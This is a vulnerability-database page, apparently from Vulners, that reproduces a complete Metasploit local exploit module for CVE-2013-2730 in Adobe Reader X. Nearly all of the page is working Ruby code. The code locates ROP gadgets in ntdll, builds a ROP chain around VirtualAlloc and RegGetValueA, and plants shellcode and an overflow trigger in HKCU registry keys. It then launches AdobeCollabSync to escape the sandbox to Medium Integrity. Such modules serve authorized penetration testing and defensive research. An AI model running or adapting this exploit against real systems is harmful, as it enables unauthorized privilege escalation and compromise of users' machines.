Lucene search
+L

AdobeCollabSync Buffer Overflow Adobe Reader X Sandbox Bypass

🗓️ 14 May 2013 00:00:00Reported by Felipe Andres Manzano, juan vazquez <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 69 Views

AdobeCollabSync Buffer Overflow Adobe Reader X Sandbox Bypass. Allows Low Integrity AcroRd32.exe to write register values triggering buffer overflow and achieving Medium Integrity Level privileges. Tested on Adobe Reader X 10.1.4 over Windows 7 SP1

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Exploit::EXE
  include Msf::Post::File
  include Msf::Post::Windows::Registry

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'AdobeCollabSync Buffer Overflow Adobe Reader X Sandbox Bypass',
          'Description' => %q{
            This module exploits a vulnerability on Adobe Reader X Sandbox. The
            vulnerability is due to a sandbox rule allowing a Low Integrity AcroRd32.exe
            process to write register values which can be used to trigger a buffer overflow on
            the AdobeCollabSync component, allowing to achieve Medium Integrity Level
            privileges from a Low Integrity AcroRd32.exe process. This module has been tested
            successfully on Adobe Reader X 10.1.4 over Windows 7 SP1.
          },
          'License' => MSF_LICENSE,
          'Author' => [
            'Felipe Andres Manzano', # Vulnerability discovery and PoC
            'juan vazquez' # Metasploit module
          ],
          'References' => [
            [ 'CVE', '2013-2730' ],
            [ 'OSVDB', '93355' ],
            [ 'URL', 'http://blog.binamuse.com/2013/05/adobe-reader-x-collab-sandbox-bypass.html' ]
          ],
          'Arch' => ARCH_X86,
          'Platform' => 'win',
          'SessionTypes' => ['meterpreter'],
          'Payload' => {
            'Space' => 12288,
            'DisableNops' => true
          },
          'Targets' => [
            [
              'Adobe Reader X 10.1.4 / Windows 7 SP1',
              {
                'AdobeCollabSyncTrigger' => 0x18fa0,
                'AdobeCollabSyncTriggerSignature' => "\x56\x68\xBC\x00\x00\x00\xE8\xF5\xFD\xFF\xFF"
              }
            ],
          ],
          'DefaultTarget' => 0,
          'DisclosureDate' => '2013-05-14',
          'Compat' => {
            'Meterpreter' => {
              'Commands' => %w[
                stdapi_railgun_api
                stdapi_railgun_memread
                stdapi_sys_config_getenv
              ]
            }
          },
          'Notes' => {
            'Reliability' => UNKNOWN_RELIABILITY,
            'Stability' => UNKNOWN_STABILITY,
            'SideEffects' => UNKNOWN_SIDE_EFFECTS
          }
        }
      )
    )

    self.needs_cleanup = true
  end

  def on_new_session
    print_status("Deleting Malicious Registry Keys...")
    if not registry_deletekey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode")
      print_error("Delete HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode by yourself")
    end
    if not registry_deletekey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB")
      print_error("Delete HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB by yourself")
    end
    print_status("Cleanup finished")
  end

  # Test the process integrity level by trying to create a directory on the TEMP folder
  # Access should be granted with Medium Integrity Level
  # Access should be denied with Low Integrity Level
  # Usint this solution atm because I'm experiencing problems with railgun when trying
  # use GetTokenInformation
  def low_integrity_level?
    tmp_dir = session.sys.config.getenv('TEMP')
    cd(tmp_dir)
    new_dir = "#{rand_text_alpha(5)}"
    begin
      session.shell_command_token("mkdir #{new_dir}")
    rescue
      return true
    end

    if directory?(new_dir)
      session.shell_command_token("rmdir #{new_dir}")
      return false
    else
      return true
    end
  end

  def check_trigger
    signature = session.railgun.memread(@addresses['AcroRd32.exe'] + target['AdobeCollabSyncTrigger'], target['AdobeCollabSyncTriggerSignature'].length)
    if signature == target['AdobeCollabSyncTriggerSignature']
      return true
    end

    return false
  end

  def collect_addresses
    # find the trigger to launch AdobeCollabSyncTrigger.exe from AcroRd32.exe
    @addresses['trigger'] = @addresses['AcroRd32.exe'] + target['AdobeCollabSyncTrigger']
    vprint_good("AdobeCollabSyncTrigger trigger address found at 0x#{@addresses['trigger'].to_s(16)}")

    # find kernel32.dll
    kernel32 = session.railgun.kernel32.GetModuleHandleA("kernel32.dll")
    @addresses['kernel32.dll'] = kernel32["return"]
    if @addresses['kernel32.dll'] == 0
      fail_with(Failure::Unknown, "Unable to find kernel32.dll")
    end
    vprint_good("kernel32.dll address found at 0x#{@addresses['kernel32.dll'].to_s(16)}")

    # find kernel32.dll methods
    virtual_alloc = session.railgun.kernel32.GetProcAddress(@addresses['kernel32.dll'], "VirtualAlloc")
    @addresses['VirtualAlloc'] = virtual_alloc["return"]
    if @addresses['VirtualAlloc'] == 0
      fail_with(Failure::Unknown, "Unable to find VirtualAlloc")
    end
    vprint_good("VirtualAlloc address found at 0x#{@addresses['VirtualAlloc'].to_s(16)}")

    reg_get_value = session.railgun.kernel32.GetProcAddress(@addresses['kernel32.dll'], "RegGetValueA")
    @addresses['RegGetValueA'] = reg_get_value["return"]
    if @addresses['RegGetValueA'] == 0
      fail_with(Failure::Unknown, "Unable to find RegGetValueA")
    end
    vprint_good("RegGetValueA address found at 0x#{@addresses['RegGetValueA'].to_s(16)}")

    # find ntdll.dll
    ntdll = session.railgun.kernel32.GetModuleHandleA("ntdll.dll")
    @addresses['ntdll.dll'] = ntdll["return"]
    if @addresses['ntdll.dll'] == 0
      fail_with(Failure::Unknown, "Unable to find ntdll.dll")
    end
    vprint_good("ntdll.dll address found at 0x#{@addresses['ntdll.dll'].to_s(16)}")
  end

  # Search a gadget identified by pattern on the process memory
  def search_gadget(base, offset_start, offset_end, pattern)
    mem = base + offset_start
    length = offset_end - offset_start
    mem_contents = session.railgun.memread(mem, length)
    return mem_contents.index(pattern)
  end

  # Search for gadgets on ntdll.dll
  def search_gadgets
    ntdll_text_base = 0x10000
    search_length = 0xd6000

    @gadgets['mov [edi], ecx # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x89\x0f\xc3")
    if @gadgets['mov [edi], ecx # ret'].nil?
      fail_with(Failure::Unknown, "Unable to find gadget 'mov [edi], ecx # ret'")
    end
    @gadgets['mov [edi], ecx # ret'] += @addresses['ntdll.dll']
    @gadgets['mov [edi], ecx # ret'] += ntdll_text_base
    vprint_good("Gadget 'mov [edi], ecx # ret' found at 0x#{@gadgets['mov [edi], ecx # ret'].to_s(16)}")

    @gadgets['ret'] = @gadgets['mov [edi], ecx # ret'] + 2
    vprint_good("Gadget 'ret' found at 0x#{@gadgets['ret'].to_s(16)}")

    @gadgets['pop edi # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x5f\xc3")
    if @gadgets['pop edi # ret'].nil?
      fail_with(Failure::Unknown, "Unable to find gadget 'pop edi # ret'")
    end
    @gadgets['pop edi # ret'] += @addresses['ntdll.dll']
    @gadgets['pop edi # ret'] += ntdll_text_base
    vprint_good("Gadget 'pop edi # ret' found at 0x#{@gadgets['pop edi # ret'].to_s(16)}")

    @gadgets['pop ecx # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x59\xc3")
    if @gadgets['pop ecx # ret'].nil?
      fail_with(Failure::Unknown, "Unable to find gadget 'pop ecx # ret'")
    end
    @gadgets['pop ecx # ret'] += @addresses['ntdll.dll']
    @gadgets['pop ecx # ret'] += ntdll_text_base
    vprint_good("Gadget 'pop edi # ret' found at 0x#{@gadgets['pop ecx # ret'].to_s(16)}")
  end

  def store(buf, data, address)
    i = 0
    while (i < data.length)
      buf << [@gadgets['pop edi # ret']].pack("V")
      buf << [address + i].pack("V") # edi
      buf << [@gadgets['pop ecx # ret']].pack("V")
      buf << data[i, 4].ljust(4, "\x00") # ecx
      buf << [@gadgets['mov [edi], ecx # ret']].pack("V")
      i = i + 4
    end
    return i
  end

  def create_rop_chain
    mem = 0x0c0c0c0c

    buf = [0x58000000 + 1].pack("V")
    buf << [0x58000000 + 2].pack("V")
    buf << [0].pack("V")
    buf << [0x58000000 + 4].pack("V")

    buf << [0x58000000 + 5].pack("V")
    buf << [0x58000000 + 6].pack("V")
    buf << [0x58000000 + 7].pack("V")
    buf << [@gadgets['ret']].pack("V")
    buf << rand_text(8)

    # Allocate Memory To store the shellcode and the necessary data to read the
    # shellcode stored in the registry
    buf << [@addresses['VirtualAlloc']].pack("V")
    buf << [@gadgets['ret']].pack("V")
    buf << [mem].pack("V")        # lpAddress
    buf << [0x00010000].pack("V") # SIZE_T dwSize
    buf << [0x00003000].pack("V") # DWORD flAllocationType
    buf << [0x00000040].pack("V") # flProtect

    # Put in the allocated memory the necessary data in order to read the
    # shellcode stored in the registry
    # 1) The reg sub key: Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions
    reg_key = "Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\x00"
    reg_key_length = store(buf, reg_key, mem)
    # 2) The reg entry: shellcode
    value_key = "shellcode\x00"
    store(buf, value_key, mem + reg_key_length)
    # 3) The output buffer size: 0x3000
    size_buffer = 0x3000
    buf << [@gadgets['pop edi # ret']].pack("V")
    buf << [mem + 0x50].pack("V") # edi
    buf << [@gadgets['pop ecx # ret']].pack("V")
    buf << [size_buffer].pack("V") # ecx
    buf << [@gadgets['mov [edi], ecx # ret']].pack("V")

    # Copy the shellcode from the registry to the
    # memory allocated with executable permissions and
    # ret into there
    buf << [@addresses['RegGetValueA']].pack("V")
    buf << [mem + 0x1000].pack("V") # ret to shellcode
    buf << [0x80000001].pack("V")   # hkey => HKEY_CURRENT_USER
    buf << [mem].pack("V")          # lpSubKey
    buf << [mem + 0x3c].pack("V")   # lpValue
    buf << [0x0000FFFF].pack("V")   # dwFlags => RRF_RT_ANY
    buf << [0].pack("V")            # pdwType
    buf << [mem + 0x1000].pack("V") # pvData
    buf << [mem + 0x50].pack("V")   # pcbData
  end

  # Store shellcode and AdobeCollabSync.exe Overflow trigger in the Registry
  def store_data_registry(buf)
    vprint_status("Creating the Registry Key to store the shellcode...")

    if registry_createkey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode")
      vprint_good("Registry Key created")
    else
      fail_with(Failure::Unknown, "Failed to create the Registry Key to store the shellcode")
    end

    vprint_status("Storing the shellcode in the Registry...")

    if registry_setvaldata("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions", "shellcode", payload.encoded, "REG_BINARY")
      vprint_good("Shellcode stored")
    else
      fail_with(Failure::Unknown, "Failed to store shellcode in the Registry")
    end

    # Create the Malicious registry entry in order to exploit....
    vprint_status("Creating the Registry Key to trigger the Overflow...")
    if registry_createkey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB")
      vprint_good("Registry Key created")
    else
      fail_with(Failure::Unknown, "Failed to create the Registry Entry to trigger the Overflow")
    end

    vprint_status("Storing the trigger in the Registry...")
    if registry_setvaldata("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions", "bDeleteDB", buf, "REG_BINARY")
      vprint_good("Trigger stored")
    else
      fail_with(Failure::Unknown, "Failed to store the trigger in the Registry")
    end
  end

  def trigger_overflow
    vprint_status("Creating the thread to trigger the Overflow on AdobeCollabSync.exe...")
    # Create a thread in order to execute the necessary code to launch AdobeCollabSync
    ret = session.railgun.kernel32.CreateThread(nil, 0, @addresses['trigger'], nil, "CREATE_SUSPENDED", nil)
    if ret['return'] < 1
      print_error("Unable to CreateThread")
      return
    end
    hthread = ret['return']

    vprint_status("Resuming the Thread...")
    # Resume the thread to actually Launch AdobeCollabSync and trigger the vulnerability!
    ret = client.railgun.kernel32.ResumeThread(hthread)
    if ret['return'] < 1
      fail_with(Failure::Unknown, "Unable to ResumeThread")
    end
  end

  def check
    @addresses = {}
    acrord32 = session.railgun.kernel32.GetModuleHandleA("AcroRd32.exe")
    @addresses['AcroRd32.exe'] = acrord32["return"]
    if @addresses['AcroRd32.exe'] == 0
      return Msf::Exploit::CheckCode::Unknown('Unable to determine target state')
    elsif check_trigger
      return Msf::Exploit::CheckCode::Vulnerable('Target is vulnerable')
    else
      return Msf::Exploit::CheckCode::Detected('AcroRd32.exe process found, but target does not match the expected vulnerable build')
    end
  end

  def exploit
    @addresses = {}
    @gadgets = {}

    print_status("Verifying we're in the correct target process...")
    acrord32 = session.railgun.kernel32.GetModuleHandleA("AcroRd32.exe")
    @addresses['AcroRd32.exe'] = acrord32["return"]
    if @addresses['AcroRd32.exe'] == 0
      fail_with(Failure::NoTarget, "AcroRd32.exe process not found")
    end
    vprint_good("AcroRd32.exe found at 0x#{@addresses['AcroRd32.exe'].to_s(16)}")

    print_status("Checking the AcroRd32.exe image...")
    if not check_trigger
      fail_with(Failure::NoTarget, "Please check the target, the AcroRd32.exe process doesn't match with the target")
    end

    print_status("Checking the Process Integrity Level...")
    if not low_integrity_level?
      fail_with(Failure::NoTarget, "Looks like you don't need this Exploit since you're already enjoying Medium Level")
    end

    print_status("Collecting necessary addresses for exploit...")
    collect_addresses

    print_status("Searching the gadgets needed to build the ROP chain...")
    search_gadgets
    print_good("Gadgets collected...")

    print_status("Building the ROP chain...")
    buf = create_rop_chain
    print_good("ROP chain ready...")

    print_status("Storing the shellcode and the trigger in the Registry...")
    store_data_registry(buf)

    print_status("Executing AdobeCollabSync.exe...")
    trigger_overflow
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 May 2013 00:00Current
5.7Medium risk
Vulners AI Score5.7
CVSS 210
EPSS0.78757
69